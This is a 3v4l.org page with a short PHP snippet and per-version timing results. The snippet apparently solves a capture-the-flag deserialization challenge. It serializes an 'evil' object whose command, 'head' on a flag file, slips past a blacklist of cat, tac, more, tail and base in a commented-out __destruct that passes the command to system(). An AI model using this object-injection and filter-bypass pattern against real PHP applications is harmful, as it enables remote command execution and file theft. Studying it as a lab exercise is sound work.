3v4l.org

run code in 300+ PHP versions simultaneously
<?php //highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { public$cmd="head /th1s_1s_fffflllll4444aaaggggg"; // public function __destruct() // { // if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ // @system($this->cmd); // } // } } $a=new evil(); echo serialize($a); //@unserialize($_POST['unser']); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.4.20.0070.01421.08
8.4.10.0470.00317.27
8.3.150.0070.00716.92
8.3.140.0510.00016.47
8.3.130.0280.01416.02
8.3.120.0360.01016.61
8.3.110.0260.00716.42
8.3.100.0270.01016.17
8.3.90.0370.00616.36
8.3.80.0320.01316.54
8.3.70.0290.01016.02
8.3.60.0370.00716.21
8.3.50.0330.01116.31
8.3.40.0320.00317.39
8.3.30.0220.01517.43
8.3.20.0400.00017.28
8.3.10.0410.00417.32
8.3.00.0200.00617.38
8.2.270.0110.00716.61
8.2.260.0280.01016.42
8.2.250.0280.00916.25
8.2.240.0360.00316.70
8.2.230.0320.00616.36
8.2.220.0300.00816.53
8.2.210.0320.00616.08
8.2.200.0300.00716.52
8.2.190.0270.01116.65
8.2.180.0320.00616.55
8.2.170.0340.00317.70
8.2.160.0300.00717.64
8.2.150.0190.00817.45
8.2.140.0230.00017.41
8.2.130.0150.00417.40
8.2.120.0440.00017.50
8.2.110.0350.01217.50
8.2.100.0290.01117.50
8.2.90.0280.00717.34
8.2.80.0150.00317.59
8.2.70.0320.00017.48
8.2.60.0130.00717.52
8.2.50.0160.00317.24
8.2.40.0150.00217.40
8.2.30.0250.01117.63
8.2.20.0260.01017.44
8.2.10.0270.00917.25
8.2.00.0380.00317.36

preferences:
27 ms | 403 KiB | 5 Q